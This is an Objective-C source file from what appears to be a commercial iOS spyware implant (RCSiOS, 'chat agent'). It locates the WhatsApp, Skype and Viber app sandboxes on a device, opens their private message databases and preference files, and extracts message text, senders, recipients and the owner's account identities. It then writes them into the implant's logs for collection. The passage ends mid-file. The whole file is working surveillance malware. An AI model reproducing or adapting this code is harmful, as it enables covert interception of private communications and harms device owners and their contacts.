core/RCSIAgentChat.m
/*
* RCSiOS - chat agent
*
*
* Created by Massimo Chiodini on 7/25/2012
* Copyright (C) HT srl 2009. All rights reserved
*
*/
#import "RCSIAgentChat.h"
#import "RCSILogManager.h"
#import "RCSIUtils.h"
#import "RCSIAgentAddressBook.h"
#import "RCSILogManager.h"
// query for line chat...
//select zmessage.z_pk, zmessage.ztext, zmessage.zmessagetype, zuser.zname from zmessage inner join zchat on zchat.z_pk = zmessage.zchat inner join zuser on zuser.zmid = zchat.zmid where zmessage.z_pk > 0
#define USER_APPLICATIONS_PATH @"/private/var/mobile/Applications"
#define k_i_AgentChatRunLoopMode @"k_i_AgentChatRunLoopMode"
#define CHAT_TIMEOUT 5
#define LOG_DELIMITER 0xABADC0DE
#define SKYPE_TYPE 0x00000001
#define WHATS_TYPE 0x00000006
#define VIBER_TYPE 0x00000009
// Flags for AB contacts
#define WHATS_APP_FLAG 0x80000001
#define SKYPE_APP_FLAG 0x80000002
#define VIBER_APP_FLAG 0x80000004
// Whatsapp sql positions
#define ZMEMBERJID_POS 0
#define ZTEXT_POS 0
#define ZISFROMME_POS 1
#define ZGROUPMEMBER_POS 2
#define ZFROMJID_POS 3
#define ZTOJID_POS 4
#define Z_PK_POS 5
#define ZCHATSESSION_POS 6
// Skype sql positions
#define BODY_XML_POS 0
#define AUTHOR_POS 1
#define DIALOG_PART_POS 2
#define ID_POS 3
#define PARTICIPANTS_POS 4
// Viber sql positions
#define VIBER_PK_POS 0
#define VIBER_TEXT_POS 1
#define VIBER_STATE_POS 2
#define VIBER_PHONE_POS 3
static BOOL gWhatsAppContactGrabbed = NO;
static BOOL gSkypeContactGrabbed = NO;
static BOOL gViberContactGrabbed = NO;
#pragma mark -
#pragma mark skXmlShared
#pragma mark -
/*
* Support class for Skype xml DB
*/
//protocol definition for building on sdk 3.0
@protocol NSXMLParserDelegate;
@implementation skXmlShared
@synthesize mDefaultUser;
- (id)initWithPath:(NSString*)aPath
{
self = [super init];
if (self != nil)
{
mRootPathName = [aPath retain];
mDefaultUser = nil;
mLibElemReached = FALSE;
mAccountElemReached = FALSE;
mDefaultElemReached = FALSE;
}
return self;
}
- (void)dealloc
{
[mRootPathName release];
[mDefaultUser release];
[super dealloc];
}
- (BOOL)parse
{
NSString *_strPath = [NSString stringWithFormat:@"file://%@/Library/Application Support/Skype/shared.xml",
mRootPathName];
NSString *strPath = [_strPath stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
NSURL *_url = [NSURL URLWithString:strPath];
NSXMLParser *parser = [[NSXMLParser alloc] initWithContentsOfURL:_url];
[parser setDelegate:(id < NSXMLParserDelegate >)self];
BOOL bRet = [parser parse];
[parser release];
return bRet;
}
#pragma mark -
#pragma mark Delegate calls
#pragma mark -
- (void)parser:(NSXMLParser *)parser
didStartElement:(NSString *)elementName
namespaceURI:(NSString *)namespaceURI
qualifiedName:(NSString *)qName
attributes:(NSDictionary *)attributeDict
{
if ([elementName compare: @"Lib"] == NSOrderedSame)
mLibElemReached = TRUE;
if ([elementName compare: @"Account"] == NSOrderedSame)
mAccountElemReached = TRUE;
if ([elementName compare: @"Default"] == NSOrderedSame)
mDefaultElemReached = TRUE;
if (mDefaultElemReached == TRUE &&
mAccountElemReached == TRUE &&
mLibElemReached == TRUE)
{
mDefaultUser = [[NSMutableString alloc] init];
}
}
- (void)parser:(NSXMLParser *)parser
didEndElement:(NSString *)elementName
namespaceURI:(NSString *)namespaceURI
qualifiedName:(NSString *)qName
{
if ([elementName compare: @"Default"] == NSOrderedSame)
{
mDefaultElemReached = FALSE;
}
}
- (void)parser:(NSXMLParser *)parser
foundCharacters:(NSString *)string
{
if (mDefaultElemReached == TRUE &&
mAccountElemReached == TRUE &&
mLibElemReached == TRUE)
[mDefaultUser appendString:string];
}
@end
#pragma mark -
#pragma mark _i_AgentChat
#pragma mark -
@implementation _i_AgentChat
#pragma mark -
#pragma mark - Initialization
#pragma mark -
- (id)init
{
self = [super init];
if (self)
{
mLastMsgPK = 0;
mLastWAMsgPk = 0;
mLastSkMsgPk = 0;
mLastVbMsgPk = 0;
mAgentID = AGENT_IM;
mWADbPathName = nil;
mWAUsername = @"";
mSkDbPathName = nil;
mSkUsername = @"";
mVbDbPathName = nil;
mVbUsername = @"";
}
return self;
}
#pragma mark -
#pragma mark - Common methods
#pragma mark -
- (void)getProperties
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
NSString *chatClassKey = [[self class] description];
NSDictionary *tmpDict = [[_i_Utils sharedInstance] getPropertyWithName: chatClassKey];
if (tmpDict != nil)
{
NSNumber *tmplaskpk = [tmpDict objectForKey: @"lastpk"];
NSNumber *tmpWALastPK = [tmpDict objectForKey: @"WAlastpk"];
NSNumber *tmpSkLastPK = [tmpDict objectForKey: @"Sklastpk"];
NSNumber *tmpVbLastPK = [tmpDict objectForKey: @"Vblastpk"];
if (tmplaskpk != nil)
mLastMsgPK = [tmplaskpk intValue];
if (tmpWALastPK != nil)
mLastWAMsgPk = [tmpWALastPK intValue];
if (tmpSkLastPK != nil)
mLastSkMsgPk = [tmpSkLastPK intValue];
if (tmpVbLastPK != nil)
mLastVbMsgPk = [tmpVbLastPK intValue];
}
[pool release];
}
- (void)setProperties
{
NSNumber *tmpLastPK = [NSNumber numberWithInt: mLastMsgPK];
NSNumber *tmpWALastPK = [NSNumber numberWithInt: mLastWAMsgPk];
NSNumber *tmpSkLastPK = [NSNumber numberWithInt: mLastSkMsgPk];
NSNumber *tmpVbLastPK = [NSNumber numberWithInt: mLastVbMsgPk];
NSString *chatClassKey = [[self class] description];
NSDictionary *tmpDict = [NSDictionary dictionaryWithObjectsAndKeys:tmpLastPK, @"lastpk",
tmpWALastPK, @"WAlastpk",
tmpSkLastPK, @"Sklastpk",
tmpVbLastPK, @"Vblastpk",nil];
[[_i_Utils sharedInstance] setPropertyWithName: chatClassKey withDictionary: tmpDict];
}
- (void)logChatContacts:(NSString*)contact appName:(NSString*)appName flag:(NSInteger)flags
{
if (flags == WHATS_APP_FLAG && (gWhatsAppContactGrabbed == TRUE || mWAUsername == @""))
return;
if (flags == SKYPE_APP_FLAG && (gSkypeContactGrabbed == TRUE || mSkUsername == @""))
return;
if (flags == VIBER_APP_FLAG && (gViberContactGrabbed == TRUE || mVbUsername == @""))
return;
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
ABLogStrcut header;
ABFile abFile;
ABContats abContat;
ABNumbers abNumber;
Names abNames;
// setting magic
header.magic = CONTACTLIST_2;
abFile.magic = CONTACTFILE;
abContat.magic = CONTACTCNT;
abNumber.magic = CONTACTNUM;
abNames.magic = CONTACTNAME;
header.numRecords = 1;
header.len = 0xFFFFFFFF;
NSData *firstData = [appName dataUsingEncoding:NSUTF16LittleEndianStringEncoding];
// New contact
abFile.len = 0;
// 0x80000001 = WahtsApp
// 0x80000002 = Skype
// 0x80000004 = Viber
abFile.flag = flags;
NSMutableData *abData = [[NSMutableData alloc] initWithCapacity: 0];
// Add header
[abData appendBytes: (const void *) &header length: sizeof(header)];
[abData appendBytes: (const void *) &abFile length: sizeof(abFile)];
// FirstName abNames
abNames.len = [firstData length];
[abData appendBytes: (const void *) &abNames length: sizeof(abNames)];
[abData appendBytes: (const void *) [firstData bytes]
length: abNames.len];
// LastName abNames
abNames.len = [firstData length];
[abData appendBytes: (const void *) &abNames length: sizeof(abNames)];
[abData appendBytes: (const void *) [firstData bytes]
length: abNames.len];
// Telephone numbers
abContat.numContats = 1;
[abData appendBytes: (const void *) &abContat length: sizeof(abContat)];
abNumber.type = 0;
[abData appendBytes: (const void *) &abNumber length: sizeof(abNumber)];
abNames.len = [contact lengthOfBytesUsingEncoding: NSUTF16LittleEndianStringEncoding];
[abData appendBytes: (const void *) &abNames length: sizeof(abNames)];
[abData appendBytes: (const void *) [[contact dataUsingEncoding: NSUTF16LittleEndianStringEncoding] bytes]
length: abNames.len];
// Setting len of NSData - sizeof(magic)
ABLogStrcut *logS = (ABLogStrcut *) [abData bytes];
logS->len = [abData length] - (sizeof(logS->magic) + sizeof(logS->len));
_i_LogManager *logManager = [_i_LogManager sharedInstance];
BOOL success = [logManager createLog: LOG_ADDRESSBOOK
agentHeader: nil
withLogID: 0xABCD];
if (success == TRUE)
{
if ([logManager writeDataToLog:abData
forAgent:LOG_ADDRESSBOOK
withLogID:0xABCD] == TRUE)
{
[logManager closeActiveLog: LOG_ADDRESSBOOK withLogID: 0xABCD];
}
}
[abData release];
[pool release];
if (flags == WHATS_APP_FLAG)
gWhatsAppContactGrabbed = TRUE;
if (flags == SKYPE_APP_FLAG)
gSkypeContactGrabbed = TRUE;
if (flags == VIBER_APP_FLAG)
gViberContactGrabbed = TRUE;
}
#pragma mark -
#pragma mark Skype Support methods
#pragma mark -
- (NSString*)getSkRootPathName
{
NSString *rootPath = nil;
NSArray *usrAppFirstLevelPath =
[[NSFileManager defaultManager] contentsOfDirectoryAtPath:USER_APPLICATIONS_PATH
error:nil];
if (usrAppFirstLevelPath == nil || [self isThreadCancelled] == TRUE)
return rootPath;
for (int i=0; i < [usrAppFirstLevelPath count]; i++)
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
if ([self isThreadCancelled] == TRUE)
{
[pool release];
return rootPath;
}
NSString *tmpPath = [NSString stringWithFormat:@"%@/%@/Skype.app",
USER_APPLICATIONS_PATH,
[usrAppFirstLevelPath objectAtIndex:i]];
if ([[NSFileManager defaultManager] fileExistsAtPath: tmpPath] == TRUE)
{
rootPath = [NSString stringWithFormat:@"%@/%@",
USER_APPLICATIONS_PATH,
[usrAppFirstLevelPath objectAtIndex:i]];
if ([[NSFileManager defaultManager] fileExistsAtPath: rootPath] == FALSE)
{
//[rootPath release];
rootPath = nil;
}
else
{
[rootPath retain];
[pool release];
break;
}
}
[pool release];
}
return rootPath;
}
- (void)setSkUserName
{
if ([self isThreadCancelled] == TRUE)
return;
skXmlShared *skShared = [[skXmlShared alloc] initWithPath: [self getSkRootPathName]];
[skShared parse];
if ([skShared mDefaultUser] != nil)
mSkUsername = [[skShared mDefaultUser] retain];
[skShared release];
}
- (BOOL)setSkDbPathName
{
BOOL bRet = FALSE;
if ([self isThreadCancelled] == TRUE)
return FALSE;
if (mSkDbPathName != nil)
return TRUE;
NSString *rootPath = [self getSkRootPathName];
[self setSkUserName];
if (rootPath != nil && mSkUsername != nil)
{
mSkDbPathName = [[NSString alloc] initWithFormat:@"%@/Library/Application Support/Skype/%@/main.db",
rootPath,
mSkUsername];
[rootPath release];
if ([[NSFileManager defaultManager] fileExistsAtPath: mSkDbPathName] == TRUE)
bRet = TRUE;
else
{
[mSkDbPathName release];
mSkDbPathName = nil;
}
}
return bRet;
}
- (BOOL)isThereSkype
{
return [self setSkDbPathName];
}
#pragma mark -
#pragma mark Skype SQLITE3 stuff
#pragma mark -
- (void)closeSkChatDB:(sqlite3*)db
{
if (db != NULL)
sqlite3_close(db);
}
- (sqlite3*)openSkChatDB
{
sqlite3 *db = NULL;
if ([self isThreadCancelled] == TRUE ||
mSkUsername == nil ||
mSkDbPathName == nil)
{
return db;
}
sqlite3_open([mSkDbPathName UTF8String], &db) ;
return db;
}
- (NSString*)getSqlString:(sqlite3_stmt*)compiledStatement
colNum:(int)column
{
NSString *sqlStr = nil;
char *tmpString = (char*)sqlite3_column_text(compiledStatement, column);
if (tmpString != NULL)
sqlStr =[NSString stringWithUTF8String:tmpString];
return sqlStr;
}
- (NSMutableString*)getSkMultiChatsMembers:(sqlite3_stmt*)compiledStatement
colNum:(int)column
excluding:(NSString*)author
{
NSString *sqlStr = nil;
NSMutableString *retParts = [NSMutableString stringWithCapacity:0];
char *tmpString = (char*)sqlite3_column_text(compiledStatement, column);
if (tmpString != NULL)
{
sqlStr =[NSString stringWithUTF8String:tmpString];
NSArray *tmpPartsArray = [sqlStr componentsSeparatedByString:@" "];
for (int i=0; i < [tmpPartsArray count]; i++)
{
NSString *tmpPart = [tmpPartsArray objectAtIndex:i];
if ([tmpPart compare:author] != NSOrderedSame)
{
if ([retParts length] > 0)
[retParts appendString:@", "];
[retParts appendString: tmpPart];
}
}
}
return retParts;
}
- (NSMutableArray*)getSkChatMessagesFormDB:(sqlite3*)theDB
withDate:(int)theDate
{
NSNumber *flags = nil;
char wa_msg_query[256];
NSMutableArray *retArray = nil;
sqlite3_stmt *compiledStatement;
NSNumber *type = [NSNumber numberWithInt:SKYPE_TYPE];
// char _wa_msg_query[] =
// "select body_xml, author, dialog_partner, id from Messages where id >";
char _wa_msg_query[] =
"select Messages.body_xml, Messages.author, Messages.dialog_partner, Messages.id, Chats.participants from Messages inner join Chats on Chats.name = Messages.chatname where Messages.id >";
sprintf(wa_msg_query, "%s %d", _wa_msg_query, theDate);
if(sqlite3_prepare_v2(theDB, wa_msg_query, -1, &compiledStatement, NULL) == SQLITE_OK)
{
while(sqlite3_step(compiledStatement) == SQLITE_ROW)
{
int pk = sqlite3_column_int(compiledStatement, ID_POS);
if (pk > mLastSkMsgPk)
{
mLastSkMsgPk = pk;
NSString *text = [self getSqlString:compiledStatement colNum:BODY_XML_POS];
if (text != nil)
{
NSString *sndr = [self getSqlString:compiledStatement colNum:AUTHOR_POS];
NSString *peer = [self getSqlString:compiledStatement colNum:DIALOG_PART_POS];
if (peer == nil)
peer = [self getSkMultiChatsMembers:compiledStatement
colNum:PARTICIPANTS_POS
excluding:sndr];
if ([sndr compare:mSkUsername] == NSOrderedSame)
flags = [NSNumber numberWithInt:0x00000001];
else
flags = [NSNumber numberWithInt:0x00000000];
NSDictionary *tmpDict =
[NSDictionary dictionaryWithObjectsAndKeys:text, @"text",
peer != nil ? peer : mSkUsername, @"peers",
sndr != nil ? sndr : @" ", @"sender",
type, @"type",
flags, @"flags", nil];
if (retArray == nil)
retArray = [NSMutableArray arrayWithCapacity:0];
[retArray addObject: tmpDict];
}
}
}
sqlite3_finalize(compiledStatement);
}
return retArray;
}
#pragma mark -
#pragma mark Viber Support methods
#pragma mark -
- (NSString*)getVbRootPathName
{
NSString *rootPath = nil;
NSArray *usrAppFirstLevelPath =
[[NSFileManager defaultManager] contentsOfDirectoryAtPath:USER_APPLICATIONS_PATH
error:nil];
if (usrAppFirstLevelPath == nil || [self isThreadCancelled] == TRUE)
return rootPath;
for (int i=0; i < [usrAppFirstLevelPath count]; i++)
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
if ([self isThreadCancelled] == TRUE)
{
[pool release];
return rootPath;
}
NSString *tmpPath = [NSString stringWithFormat:@"%@/%@/Viber.app",
USER_APPLICATIONS_PATH,
[usrAppFirstLevelPath objectAtIndex:i]];
if ([[NSFileManager defaultManager] fileExistsAtPath: tmpPath] == TRUE)
{
rootPath = [NSString stringWithFormat:@"%@/%@",
USER_APPLICATIONS_PATH,
[usrAppFirstLevelPath objectAtIndex:i]];
if ([[NSFileManager defaultManager] fileExistsAtPath: rootPath] == FALSE)
{
//[rootPath release];
rootPath = nil;
}
else
{
[rootPath retain];
[pool release];
break;
}
}
[pool release];
}
return rootPath;
}
- (void)setVbUserName
{
if ([self isThreadCancelled] == TRUE)
return;
NSString *tmpMyPhone = [[_i_Utils sharedInstance] getPhoneNumber];
if (tmpMyPhone != nil)
mVbUsername = [tmpMyPhone retain];
}
- (BOOL)setVbDbPathName
{
BOOL bRet = FALSE;
if ([self isThreadCancelled] == TRUE)
return FALSE;
if (mVbDbPathName != nil)
return TRUE;
NSString *rootPath = [self getVbRootPathName];
[self setVbUserName];
if (rootPath != nil && mVbUsername != nil)
{
mVbDbPathName = [[NSString alloc] initWithFormat:@"%@/Documents/Contacts.data",
rootPath];
[rootPath release];
if ([[NSFileManager defaultManager] fileExistsAtPath: mVbDbPathName] == TRUE)
bRet = TRUE;
else
{
[mVbDbPathName release];
mVbDbPathName = nil;
}
}
return bRet;
}
- (BOOL)isThereViber
{
return [self setVbDbPathName];
}
#pragma mark -
#pragma mark Viber SQLITE3 stuff
#pragma mark -
- (void)closeVbChatDB:(sqlite3*)db
{
if (db != NULL)
sqlite3_close(db);
}
- (sqlite3*)openVbChatDB
{
sqlite3 *db = NULL;
if ([self isThreadCancelled] == TRUE ||
mVbUsername == nil ||
mVbDbPathName == nil)
{
return db;
}
sqlite3_open([mVbDbPathName UTF8String], &db) ;
return db;
}
- (NSMutableArray*)getVbChatMessagesFormDB:(sqlite3*)theDB
withDate:(int)theDate
{
NSNumber *flags = nil;
char wa_msg_query[512];
NSMutableArray *retArray = nil;
sqlite3_stmt *compiledStatement;
NSNumber *type = [NSNumber numberWithInt:VIBER_TYPE]; // temporaneo: da mettere in db
char _wa_msg_query3[] = "select zvibermessage.z_pk, zvibermessage.ztext, zvibermessage.zstate, zphonenumberindex.zphonenum from zvibermessage inner join z_3phonenumindexes on z_3phonenumindexes.z_3conversations = zvibermessage.zconversation inner join zphonenumberindex on zphonenumberindex.z_pk = z_3phonenumindexes.z_5phonenumindexes where zvibermessage.z_pk >";
char _wa_msg_query4[] = "select zvibermessage.z_pk, zvibermessage.ztext, zvibermessage.zstate, zphonenumberindex.zphonenum from zvibermessage inner join z_4phonenumindexes on z_4phonenumindexes.z_4conversations = zvibermessage.zconversation inner join zphonenumberindex on zphonenumberindex.z_pk = z_4phonenumindexes.z_6phonenumindexes where zvibermessage.z_pk >";
sprintf(wa_msg_query, "%s %d", _wa_msg_query3, theDate);
if(sqlite3_prepare_v2(theDB, wa_msg_query, -1, &compiledStatement, NULL) != SQLITE_OK)
{
sprintf(wa_msg_query, "%s %d", _wa_msg_query4, theDate);
if(sqlite3_prepare_v2(theDB, wa_msg_query, -1, &compiledStatement, NULL) != SQLITE_OK)
return retArray;
}
while(sqlite3_step(compiledStatement) == SQLITE_ROW)
{
int pk = sqlite3_column_int(compiledStatement, VIBER_PK_POS);
if (pk > mLastVbMsgPk)
{
mLastVbMsgPk = pk;
NSString *peer;
NSString *sndr;
NSString *text = [self getSqlString:compiledStatement colNum:VIBER_TEXT_POS];
if (text != nil)
{
NSString *state =[self getSqlString:compiledStatement colNum:VIBER_STATE_POS];
if ([state compare: @"delivered"] == NSOrderedSame || [state compare: @"send"] == NSOrderedSame)
{
flags = [NSNumber numberWithInt:0x00000001];
peer = [self getSqlString:compiledStatement colNum:VIBER_PHONE_POS];
sndr = mVbUsername;
}
else
{
flags = [NSNumber numberWithInt:0x00000000];
peer = mVbUsername;
sndr = [self getSqlString:compiledStatement colNum:VIBER_PHONE_POS];
}
NSDictionary *tmpDict =
[NSDictionary dictionaryWithObjectsAndKeys:text, @"text",
peer != nil ? peer : @" ", @"peers",
sndr != nil ? sndr : @" ", @"sender",
type, @"type",
flags, @"flags",
nil];
if (retArray == nil)
retArray = [NSMutableArray arrayWithCapacity:0];
[retArray addObject: tmpDict];
}
}
else if (pk == mLastVbMsgPk) // if pk == last pk multi chat detected (inner join return multi line)
{
NSDictionary *tmpDict = [retArray lastObject];
NSString *newTmpPeer = [self getSqlString:compiledStatement colNum:VIBER_PHONE_POS];
NSString *newPeer = [NSString stringWithFormat:@"%@, %@", [tmpDict objectForKey:@"peers"], newTmpPeer];
NSDictionary *newTmpDict = [NSDictionary dictionaryWithObjectsAndKeys:[tmpDict objectForKey:@"text"] , @"text",
newPeer, @"peers",
[tmpDict objectForKey:@"sender"], @"sender",
[tmpDict objectForKey:@"type"], @"type",
[tmpDict objectForKey:@"flags"], @"flags",
nil];
[retArray removeObject:tmpDict];
[retArray addObject:newTmpDict];
}
}
sqlite3_finalize(compiledStatement);
return retArray;
}
#pragma mark -
#pragma mark WhatsApp Support methods
#pragma mark -
- (NSString*)getWARootPathName
{
NSString *rootPath = nil;
NSArray *usrAppFirstLevelPath =
[[NSFileManager defaultManager] contentsOfDirectoryAtPath:USER_APPLICATIONS_PATH
error:nil];
if (usrAppFirstLevelPath == nil || [self isThreadCancelled] == TRUE)
return rootPath;
for (int i=0; i < [usrAppFirstLevelPath count]; i++)
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
if ([self isThreadCancelled] == TRUE)
{
[pool release];
return rootPath;
}
NSString *tmpPath = [NSString stringWithFormat:@"%@/%@/WhatsApp.app",
USER_APPLICATIONS_PATH,
[usrAppFirstLevelPath objectAtIndex:i]];
if ([[NSFileManager defaultManager] fileExistsAtPath: tmpPath] == TRUE)
{
rootPath = [NSString stringWithFormat:@"%@/%@",
USER_APPLICATIONS_PATH,
[usrAppFirstLevelPath objectAtIndex:i]];
if ([[NSFileManager defaultManager] fileExistsAtPath: rootPath] == FALSE)
{
//[rootPath release];
rootPath = nil;
}
else
{
[rootPath retain];
[pool release];
break;
}
}
[pool release];
}
return rootPath;
}
- (NSString*)getWAPhoneNumber:(NSString*)aContatNum
{
NSRange rng = [aContatNum rangeOfString: @"@"];
if (rng.location != NSNotFound)
return [aContatNum substringToIndex: rng.location];
else
return aContatNum;
}
- (void)setWAUserName
{
if ([self isThreadCancelled] == TRUE || [mWAUsername length] > 0)
return;
NSString *rootPath = [self getWARootPathName];
if (rootPath != nil)
{
NSString *WAPrefsPath =
[NSString stringWithFormat:@"%@/Library/Preferences/net.whatsapp.WhatsApp.plist",
rootPath];
[rootPath release];
NSDictionary *prefs = [NSDictionary dictionaryWithContentsOfFile: WAPrefsPath];
if (prefs != nil && [prefs objectForKey: @"OwnJabberID"] != nil)
{
NSString *tmpWAUsername = [prefs objectForKey: @"OwnJabberID"];
mWAUsername = [[NSString alloc] initWithString: [self getWAPhoneNumber: tmpWAUsername]];
}
}
}
- (BOOL)setWADbPathName
{
BOOL bRet = FALSE;
if ([self isThreadCancelled] == TRUE)
return FALSE;
if (mWADbPathName != nil)
return TRUE;
[self setWAUserName];
NSString *rootPath = [self getWARootPathName];
if (rootPath != nil)
{
mWADbPathName = [[NSString alloc] initWithFormat:@"%@/Documents/ChatStorage.sqlite",
rootPath];
[rootPath release];
if ([[NSFileManager defaultManager] fileExistsAtPath: mWADbPathName] == TRUE)
bRet = TRUE;
else
{
[mWADbPathName release];
mWADbPathName = nil;
}
}
return bRet;
}
- (BOOL)isThereWahtsApp
{
return [self setWADbPathName];
}
#pragma mark -
#pragma mark WhatsApp SQLITE3 stuff
#pragma mark -
- (void)closeWAChatDB:(sqlite3*)db
{
if (db != NULL)
sqlite3_close(db);
}
- (sqlite3*)openWAChatDB
{
sqlite3 *db = NULL;
if ([self isThreadCancelled] == TRUE || mWADbPathName == nil)
{
return db;
}
sqlite3_open([mWADbPathName UTF8String], &db) ;
return db;
}
- (NSString*)getSqlLiteString:(sqlite3_stmt*)compiledStatement
colNum:(int)column
{
NSString *sqlStr = nil;
if (sqlite3_column_text(compiledStatement, column) != NULL)
{
sqlStr =[NSString stringWithUTF8String:(char *)sqlite3_column_text(compiledStatement, column)];
}
else
{
sqlStr = [NSString stringWithUTF8String:" "];
}
return sqlStr;
}
- (NSString*)getFromJIDFromGroup:(sqlite3_stmt*)aCompiledStat
fromDB:(sqlite3*)theDb
{
NSString *from = nil;
sqlite3_stmt *compiledStatement;
char wa_msg_query[256];
int zgrpmem = sqlite3_column_int(aCompiledStat, ZGROUPMEMBER_POS);
char _wa_msg_query[] = "select ZMEMBERJID from ZWAGROUPMEMBER where Z_PK = ";
sprintf(wa_msg_query, "%s %d", _wa_msg_query, zgrpmem);
if(sqlite3_prepare_v2(theDb, wa_msg_query, -1, &compiledStatement, NULL) == SQLITE_OK)
{
if (sqlite3_step(compiledStatement) == SQLITE_ROW)
{
const unsigned char *tmpPeer = sqlite3_column_text(compiledStatement, ZMEMBERJID_POS);
if (tmpPeer == NULL)
from = [NSString stringWithUTF8String: " "];
else
from = [NSString stringWithUTF8String:(char *)tmpPeer];
}
}
sqlite3_finalize(compiledStatement);
return from;
}
- (NSString*)getFromJID:(sqlite3_stmt*)aCompiledStat
fromDB:(sqlite3*)theDb
{
NSString *from = nil;
// case 1: sender is me ZISFROMME = 1
if (sqlite3_column_int(aCompiledStat, ZISFROMME_POS) == TRUE)
{
from = mWAUsername;
}
else
{
int zgrpmem = sqlite3_column_int(aCompiledStat, ZGROUPMEMBER_POS);
// case 3: from member of group: ZFROMJID != nil && ZGROUPMEMBER != nil)
if (zgrpmem != 0)
{
from = [self getFromJIDFromGroup: aCompiledStat fromDB: theDb];
}
else
{
// case 2: from a single user: (ZFROMJID != nil && ZGROUPMEMBER == nil)
// case 4: from member of group: (ZFROMJID != nil && ZGROUPMEMBER == nil)
const unsigned char *_from = sqlite3_column_text(aCompiledStat, ZFROMJID_POS);
if (_from != NULL)
{
for (int i=0; i < strlen((char*)_from); i++)
{
if (_from[i] == '-')
{
char *ptr = (char*)_from + i;
*ptr = 0;
break;
}
}
from = [NSString stringWithUTF8String:(char *)_from];
}
else
from = [NSString stringWithUTF8String:" "];
}
}
return [self getWAPhoneNumber: from];
}
- (BOOL)isAGroup:(NSString*)aName
{
NSRange range = [aName rangeOfString:@"-"];
if (range.location == NSNotFound)
return FALSE;
else
return TRUE;
}
- (NSString*)getToJIDFromGroup:(sqlite3_stmt*)aCompiledStat
fromDB:(sqlite3*)theDb
excluding:(NSString*)aUserId
{
NSString *to = nil;
NSMutableString *_to = nil;
NSString *tmpPeer;
sqlite3_stmt *compiledStatement;
char wa_msg_query[256];
int zchtsess = sqlite3_column_int(aCompiledStat, ZCHATSESSION_POS);
char _wa_msg_query[] = "select ZMEMBERJID from ZWAGROUPMEMBER where ZCHATSESSION = ";
sprintf(wa_msg_query, "%s %d", _wa_msg_query, zchtsess);
if(sqlite3_prepare_v2(theDb, wa_msg_query, -1, &compiledStatement, NULL) == SQLITE_OK)
{
if (sqlite3_step(compiledStatement) == SQLITE_ROW)
{
_to = [NSMutableString stringWithCapacity:0];
const unsigned char *_tmpPeer = sqlite3_column_text(compiledStatement, ZMEMBERJID_POS);
if (_tmpPeer != NULL)
tmpPeer = [NSString stringWithUTF8String:(char *)_tmpPeer];
else
tmpPeer = [NSString stringWithUTF8String: " "];
NSString *__tmpPeer = [self getWAPhoneNumber:tmpPeer];
if ([__tmpPeer compare: aUserId] != NSOrderedSame)
[_to appendString: __tmpPeer];
while (sqlite3_step(compiledStatement) == SQLITE_ROW)
{
_tmpPeer = sqlite3_column_text(compiledStatement, ZMEMBERJID_POS);
if (_tmpPeer != NULL)
tmpPeer = [NSString stringWithUTF8String:(char *)_tmpPeer];
else
tmpPeer = [NSString stringWithUTF8String: " "];
NSString *__tmpPeer = [self getWAPhoneNumber:tmpPeer];
if ([__tmpPeer compare: aUserId] != NSOrderedSame)
{
[_to appendString:@","];
[_to appendString:__tmpPeer];
}
}
}
}
sqlite3_finalize(compiledStatement);
if (_to != nil)
to = [NSString stringWithString: _to];
return to;
}
- (NSString*)getToJID:(sqlite3_stmt*)aCompiledStat
fromDB:(sqlite3*)theDb
excluding:(NSString*)theSender
{
NSString *to = nil;
NSString *_to = nil;
const unsigned char *__to = sqlite3_column_text(aCompiledStat, ZTOJID_POS);
if (__to != NULL)
_to = [NSString stringWithUTF8String:(char *)__to];
else
_to = mWAUsername;
// i'm the sender: rcpt should be a group or single user
if (sqlite3_column_int(aCompiledStat, ZISFROMME_POS) == TRUE)
{
if ([self isAGroup:_to] == TRUE)
to = [self getToJIDFromGroup:aCompiledStat fromDB:theDb excluding: theSender];
else
to = [self getWAPhoneNumber: _to];
}
else
{
// i'm the rcpt: if sender is a group the rcpt must be a group
NSString *_fr;
const unsigned char *__fr = sqlite3_column_text(aCompiledStat, ZFROMJID_POS);
if (__fr != NULL)
_fr = [NSString stringWithUTF8String:(char *)__fr];
else
_fr = [NSString stringWithUTF8String: " "];
if ([self isAGroup:_fr] == TRUE)
to = [self getToJIDFromGroup:aCompiledStat fromDB:theDb excluding: theSender];
else
to = [self getWAPhoneNumber: _to];
}
return to;
}
- (NSString*)getText:(sqlite3_stmt*)aCompiledStat
fromDB:(sqlite3*)theDb
{
NSString *text = nil;
const unsigned char *_text = sqlite3_column_text(aCompiledStat, ZTEXT_POS);
if (_text != NULL)
{
text = [self getSqlLiteString:aCompiledStat colNum:ZTEXT_POS];
}
return text;
}
- (NSMutableArray*)getWAChatMessagesFormDB:(sqlite3*)theDB
withDate:(int)theDate
{
NSNumber *flags = nil;
char wa_msg_query[256];
NSMutableArray *retArray = nil;
sqlite3_stmt *compiledStatement;
NSNumber *type = [NSNumber numberWithInt:WHATS_TYPE];
char _wa_msg_query[] =
"select ZTEXT, ZISFROMME, ZGROUPMEMBER, ZFROMJID, ZTOJID, Z_PK, ZCHATSESSION from ZWAMESSAGE where ZMESSAGEDATE >";
sprintf(wa_msg_query, "%s %d", _wa_msg_query, theDate);
if(sqlite3_prepare_v2(theDB, wa_msg_query, -1, &compiledStatement, NULL) == SQLITE_OK)
{
while(sqlite3_step(compiledStatement) == SQLITE_ROW)
{
int z_pk = sqlite3_column_int(compiledStatement, Z_PK_POS);
if (z_pk > mLastWAMsgPk)
{
mLastWAMsgPk = z_pk;
NSString *text = [self getText:compiledStatement fromDB:theDB];
if (text != nil)
{
NSString *sndr = [self getFromJID:compiledStatement fromDB: theDB];
NSString *peer = [self getToJID:compiledStatement fromDB:theDB excluding:sndr];
if ([sndr compare:mWAUsername] == NSOrderedSame)
flags = [NSNumber numberWithInt:0x00000001];
else
flags = [NSNumber numberWithInt:0x00000000];
if (peer == nil)
peer = @" ";
if (sndr == nil)
sndr = @" ";
NSDictionary *tmpDict = [NSDictionary dictionaryWithObjectsAndKeys:text, @"text",
peer, @"peers",
sndr, @"sender",
type, @"type",
flags, @"flags",nil];
if (retArray == nil)
retArray = [NSMutableArray arrayWithCapacity:0];
[retArray addObject: tmpDict];
}
}
}
sqlite3_finalize(compiledStatement);
}
return retArray;
}
#pragma mark -
#pragma mark Chat logging
#pragma mark -
/* old char version* - begin */
